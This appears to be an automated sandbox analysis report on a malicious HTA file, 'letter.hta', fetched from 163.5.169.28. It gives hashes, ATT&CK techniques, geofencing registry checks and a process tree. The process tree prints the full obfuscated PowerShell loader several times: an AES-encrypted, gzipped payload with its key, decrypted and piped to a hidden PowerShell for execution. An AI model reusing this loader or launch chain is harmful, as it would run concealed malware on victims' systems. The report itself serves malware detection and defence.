3f04d3267f818beec7a5f29a7780282bdf862a71669230b796b77700a494b55d

Resubmissions

21-01-2025 13:39

250121-qx27kswrck 10

21-01-2025 11:57

250121-n4kvrsskfv 10

21-01-2025 11:43

250121-nvpglaslfq 10

21-01-2025 11:26

250121-njtbea1qcp 10

Analysis

max time kernel
147s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-01-2025 11:26

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Report Analysis Logs

General

Target

163.5.169.28/letter.hta
Size

1.1MB
MD5

7b2d71fbdd38daada881a1d5ba51bd79
SHA1

4474d227759d362ae773e014aa7ff22541b69755
SHA256

b41307cd7ec0456833713dc7075ada7d8884ca133c775c9ba8cbd464dc0c8f25
SHA512

695d0ff4f9ce2cff8715e4cab13d713969bfc8e8adf563dda785c70be0ada0f7a5ff954eee238386ece74ad6eaf6110be7dc7e5aadaa4fc1bcc49e7bf061fa33
SSDEEP

1536:If45HlQf84PEGMdETRrGXQmr/l1vcmafSIm+lIWFawmozsSQ8sBoCQnX2GgeGZ/F:IfQHlQNPfMdETJMMu

Score

8^/10

discovery execution

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
14	440	powershell.exe
22	440	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
928	powershell.exe
2312	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2312	powershell.exe
2312	powershell.exe
928	powershell.exe
440	powershell.exe
440	powershell.exe
928	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeDebugPrivilege	928	powershell.exe
Token: SeDebugPrivilege	440	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 540 wrote to memory of 2312	540	mshta.exe	83
PID 540 wrote to memory of 2312	540	mshta.exe	83
PID 540 wrote to memory of 2312	540	mshta.exe	83
PID 2312 wrote to memory of 1736	2312	powershell.exe	85
PID 2312 wrote to memory of 1736	2312	powershell.exe	85
PID 2312 wrote to memory of 1736	2312	powershell.exe	85
PID 1736 wrote to memory of 928	1736	cmd.exe	87
PID 1736 wrote to memory of 928	1736	cmd.exe	87
PID 1736 wrote to memory of 928	1736	cmd.exe	87
PID 1736 wrote to memory of 440	1736	cmd.exe	88
PID 1736 wrote to memory of 440	1736	cmd.exe	88
PID 1736 wrote to memory of 440	1736	cmd.exe	88

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\letter.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:540
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $opQSXHwV = 'AAAAAAAAAAAAAAAAAAAAAIpCob5HaHMs2MfRknS4PwWw0WcGD8i3ByISqXLqEu9JkDItpb2E8oTImwgRB5gOBoVI8ELi6Kd4iYzONsCtHD9hwy6hJP8DCBkcNkkPBJyVgEeHz3Hf5Q3FgTWRcFoZD7WQoX6ezRoefbPoDnhnQ/kxHSTIeCJoLgLMasAfU6rHjwxdVTvpZ96IAHM66gQvImupLtoFwmdeek441GbNnJXi+IVqZPw34kV3v50q7hyu6x9TFWxdwBL+6VgcjsYldRquKzcnSOOJ7RWLK6G9aOTnYLb7Mm/KO5YKLxJN7/qnXBckEuyhwIZQsITsBbiDMpi4Dhl6jXMYHVoD3BA+CyQPZsni2r/CutU+2T6qW3kkoW3fYjrXpAkHl3Wfs5X6fAHVwEBRiuYq4d7GFsaDRRCRvcobLmElWMXx4B6ZqcaQqx1UCX4X2b8b/VRG5dcBcKzciP+dwr24Us/1tA1kNrS0P8fdsFDjf0ykuxMNeKEWUaqvR8gsRM3P/pLZJtrkB0MN/SRuHpIl9DAcnOjRdeCVLCFwFf02JaRlh54PXYXvu5Hc4dApYtAY5E7GYPxei2dAulisdlBHULUT3B9uBomajMNl98ThWOHR1nsGVbdCQUVGbKy175siBeeb5AzjLokTW7Gp59nSPbaLMOMAEIC9lwBki1i5SdV6CvAaeCc/v2UMhUIwBce9u6l+JVJtrt+9XBhOoOWZc9Q3APa7CoqQxX0mWveW/CzV9QB0m4i/497qJiMfypY4J5rM4hlASDvd88Dk850tIycan6uDAdY5rWRLoWYApuHJ7XDtJBatDbX41CWgUnIKJP8jjQ4Tvg==';$mNJUCx = 'TG1wT09jWnlQdmRTU3lDY0N2UHNNRlJmcHhKYkdMcnY=';$qzJHZIwo = New-Object 'System.Security.Cryptography.AesManaged';$qzJHZIwo.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qzJHZIwo.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qzJHZIwo.BlockSize = 128;$qzJHZIwo.KeySize = 256;$qzJHZIwo.Key = [System.Convert]::FromBase64String($mNJUCx);$ABcNo = [System.Convert]::FromBase64String($opQSXHwV);$LXcUVqdQ = $ABcNo[0..15];$qzJHZIwo.IV = $LXcUVqdQ;$GWeReOrOm = $qzJHZIwo.CreateDecryptor();$yxgAgoCBX = $GWeReOrOm.TransformFinalBlock($ABcNo, 16, $ABcNo.Length - 16);$qzJHZIwo.Dispose();$spClFsWG = New-Object System.IO.MemoryStream( , $yxgAgoCBX );$mpkSbIu = New-Object System.IO.MemoryStream;$XMrtDFsAd = New-Object System.IO.Compression.GzipStream $spClFsWG, ([IO.Compression.CompressionMode]::Decompress);$XMrtDFsAd.CopyTo( $mpkSbIu );$XMrtDFsAd.Close();$spClFsWG.Close();[byte[]] $VaKPnfj = $mpkSbIu.ToArray();$ZSyTQY = [System.Text.Encoding]::UTF8.GetString($VaKPnfj);$ZSyTQY | powershell - }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2312
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powershell.exe $opQSXHwV = 'AAAAAAAAAAAAAAAAAAAAAIpCob5HaHMs2MfRknS4PwWw0WcGD8i3ByISqXLqEu9JkDItpb2E8oTImwgRB5gOBoVI8ELi6Kd4iYzONsCtHD9hwy6hJP8DCBkcNkkPBJyVgEeHz3Hf5Q3FgTWRcFoZD7WQoX6ezRoefbPoDnhnQ/kxHSTIeCJoLgLMasAfU6rHjwxdVTvpZ96IAHM66gQvImupLtoFwmdeek441GbNnJXi+IVqZPw34kV3v50q7hyu6x9TFWxdwBL+6VgcjsYldRquKzcnSOOJ7RWLK6G9aOTnYLb7Mm/KO5YKLxJN7/qnXBckEuyhwIZQsITsBbiDMpi4Dhl6jXMYHVoD3BA+CyQPZsni2r/CutU+2T6qW3kkoW3fYjrXpAkHl3Wfs5X6fAHVwEBRiuYq4d7GFsaDRRCRvcobLmElWMXx4B6ZqcaQqx1UCX4X2b8b/VRG5dcBcKzciP+dwr24Us/1tA1kNrS0P8fdsFDjf0ykuxMNeKEWUaqvR8gsRM3P/pLZJtrkB0MN/SRuHpIl9DAcnOjRdeCVLCFwFf02JaRlh54PXYXvu5Hc4dApYtAY5E7GYPxei2dAulisdlBHULUT3B9uBomajMNl98ThWOHR1nsGVbdCQUVGbKy175siBeeb5AzjLokTW7Gp59nSPbaLMOMAEIC9lwBki1i5SdV6CvAaeCc/v2UMhUIwBce9u6l+JVJtrt+9XBhOoOWZc9Q3APa7CoqQxX0mWveW/CzV9QB0m4i/497qJiMfypY4J5rM4hlASDvd88Dk850tIycan6uDAdY5rWRLoWYApuHJ7XDtJBatDbX41CWgUnIKJP8jjQ4Tvg==';$mNJUCx = 'TG1wT09jWnlQdmRTU3lDY0N2UHNNRlJmcHhKYkdMcnY=';$qzJHZIwo = New-Object 'System.Security.Cryptography.AesManaged';$qzJHZIwo.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qzJHZIwo.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qzJHZIwo.BlockSize = 128;$qzJHZIwo.KeySize = 256;$qzJHZIwo.Key = [System.Convert]::FromBase64String($mNJUCx);$ABcNo = [System.Convert]::FromBase64String($opQSXHwV);$LXcUVqdQ = $ABcNo[0..15];$qzJHZIwo.IV = $LXcUVqdQ;$GWeReOrOm = $qzJHZIwo.CreateDecryptor();$yxgAgoCBX = $GWeReOrOm.TransformFinalBlock($ABcNo, 16, $ABcNo.Length - 16);$qzJHZIwo.Dispose();$spClFsWG = New-Object System.IO.MemoryStream( , $yxgAgoCBX );$mpkSbIu = New-Object System.IO.MemoryStream;$XMrtDFsAd = New-Object System.IO.Compression.GzipStream $spClFsWG, ([IO.Compression.CompressionMode]::Decompress);$XMrtDFsAd.CopyTo( $mpkSbIu );$XMrtDFsAd.Close();$spClFsWG.Close();[byte[]] $VaKPnfj = $mpkSbIu.ToArray();$ZSyTQY = [System.Text.Encoding]::UTF8.GetString($VaKPnfj);$ZSyTQY | powershell -
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1736
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe $opQSXHwV = 'AAAAAAAAAAAAAAAAAAAAAIpCob5HaHMs2MfRknS4PwWw0WcGD8i3ByISqXLqEu9JkDItpb2E8oTImwgRB5gOBoVI8ELi6Kd4iYzONsCtHD9hwy6hJP8DCBkcNkkPBJyVgEeHz3Hf5Q3FgTWRcFoZD7WQoX6ezRoefbPoDnhnQ/kxHSTIeCJoLgLMasAfU6rHjwxdVTvpZ96IAHM66gQvImupLtoFwmdeek441GbNnJXi+IVqZPw34kV3v50q7hyu6x9TFWxdwBL+6VgcjsYldRquKzcnSOOJ7RWLK6G9aOTnYLb7Mm/KO5YKLxJN7/qnXBckEuyhwIZQsITsBbiDMpi4Dhl6jXMYHVoD3BA+CyQPZsni2r/CutU+2T6qW3kkoW3fYjrXpAkHl3Wfs5X6fAHVwEBRiuYq4d7GFsaDRRCRvcobLmElWMXx4B6ZqcaQqx1UCX4X2b8b/VRG5dcBcKzciP+dwr24Us/1tA1kNrS0P8fdsFDjf0ykuxMNeKEWUaqvR8gsRM3P/pLZJtrkB0MN/SRuHpIl9DAcnOjRdeCVLCFwFf02JaRlh54PXYXvu5Hc4dApYtAY5E7GYPxei2dAulisdlBHULUT3B9uBomajMNl98ThWOHR1nsGVbdCQUVGbKy175siBeeb5AzjLokTW7Gp59nSPbaLMOMAEIC9lwBki1i5SdV6CvAaeCc/v2UMhUIwBce9u6l+JVJtrt+9XBhOoOWZc9Q3APa7CoqQxX0mWveW/CzV9QB0m4i/497qJiMfypY4J5rM4hlASDvd88Dk850tIycan6uDAdY5rWRLoWYApuHJ7XDtJBatDbX41CWgUnIKJP8jjQ4Tvg==';$mNJUCx = 'TG1wT09jWnlQdmRTU3lDY0N2UHNNRlJmcHhKYkdMcnY=';$qzJHZIwo = New-Object 'System.Security.Cryptography.AesManaged';$qzJHZIwo.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qzJHZIwo.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qzJHZIwo.BlockSize = 128;$qzJHZIwo.KeySize = 256;$qzJHZIwo.Key = [System.Convert]::FromBase64String($mNJUCx);$ABcNo = [System.Convert]::FromBase64String($opQSXHwV);$LXcUVqdQ = $ABcNo[0..15];$qzJHZIwo.IV = $LXcUVqdQ;$GWeReOrOm = $qzJHZIwo.CreateDecryptor();$yxgAgoCBX = $GWeReOrOm.TransformFinalBlock($ABcNo, 16, $ABcNo.Length - 16);$qzJHZIwo.Dispose();$spClFsWG = New-Object System.IO.MemoryStream( , $yxgAgoCBX );$mpkSbIu = New-Object System.IO.MemoryStream;$XMrtDFsAd = New-Object System.IO.Compression.GzipStream $spClFsWG, ([IO.Compression.CompressionMode]::Decompress);$XMrtDFsAd.CopyTo( $mpkSbIu );$XMrtDFsAd.Close();$spClFsWG.Close();[byte[]] $VaKPnfj = $mpkSbIu.ToArray();$ZSyTQY = [System.Text.Encoding]::UTF8.GetString($VaKPnfj);$ZSyTQY
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:928
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -
      4⤵
      Blocklisted process makes network request
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:440

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
def65711d78669d7f8e69313be4acf2e

SHA1
6522ebf1de09eeb981e270bd95114bc69a49cda6

SHA256
aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c

SHA512
05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
15KB

MD5
9957bd9b841e45f316c0dc56bd25311e

SHA1
0f08fefa38493d13d57a9a3cab176fe85d507e5f

SHA256
aab1bcd173da2d6c1020c79410cffc5bd022474029efe24e8aefa88abd053892

SHA512
0ebcd9d12211b94bb817f852c06cf4012c59f85e26ab72bfa26843d132e0ccb111f346f97e8054167caeaac3884d06b855b0de66d2436a1ca782eff75cdf3b03

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_watomomy.5hs.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/440-50-0x0000000006EA0000-0x0000000006F16000-memory.dmp

Filesize
472KB

Download
memory/440-49-0x0000000006D10000-0x0000000006D54000-memory.dmp

Filesize
272KB

Download
memory/440-28-0x00000000057F0000-0x0000000005B44000-memory.dmp

Filesize
3.3MB

Download
memory/928-48-0x00000000074B0000-0x0000000007B2A000-memory.dmp

Filesize
6.5MB

Download
memory/2312-18-0x0000000005D60000-0x0000000005D7E000-memory.dmp

Filesize
120KB

Download
memory/2312-22-0x0000000006310000-0x0000000006332000-memory.dmp

Filesize
136KB

Download
memory/2312-17-0x00000000057C0000-0x0000000005B14000-memory.dmp

Filesize
3.3MB

Download
memory/2312-0-0x0000000070DAE000-0x0000000070DAF000-memory.dmp

Filesize
4KB

Download
memory/2312-19-0x0000000006290000-0x00000000062DC000-memory.dmp

Filesize
304KB

Download
memory/2312-20-0x0000000006D50000-0x0000000006DE6000-memory.dmp

Filesize
600KB

Download
memory/2312-21-0x0000000006210000-0x000000000622A000-memory.dmp

Filesize
104KB

Download
memory/2312-7-0x0000000005750000-0x00000000057B6000-memory.dmp

Filesize
408KB

Download
memory/2312-23-0x00000000073A0000-0x0000000007944000-memory.dmp

Filesize
5.6MB

Download
memory/2312-27-0x0000000070DA0000-0x0000000071550000-memory.dmp

Filesize
7.7MB

Download
memory/2312-6-0x00000000056E0000-0x0000000005746000-memory.dmp

Filesize
408KB

Download
memory/2312-5-0x0000000004CC0000-0x0000000004CE2000-memory.dmp

Filesize
136KB

Download
memory/2312-4-0x0000000070DA0000-0x0000000071550000-memory.dmp

Filesize
7.7MB

Download
memory/2312-3-0x0000000004F40000-0x0000000005568000-memory.dmp

Filesize
6.2MB

Download
memory/2312-2-0x0000000070DA0000-0x0000000071550000-memory.dmp

Filesize
7.7MB

Download
memory/2312-1-0x00000000047F0000-0x0000000004826000-memory.dmp

Filesize
216KB

Download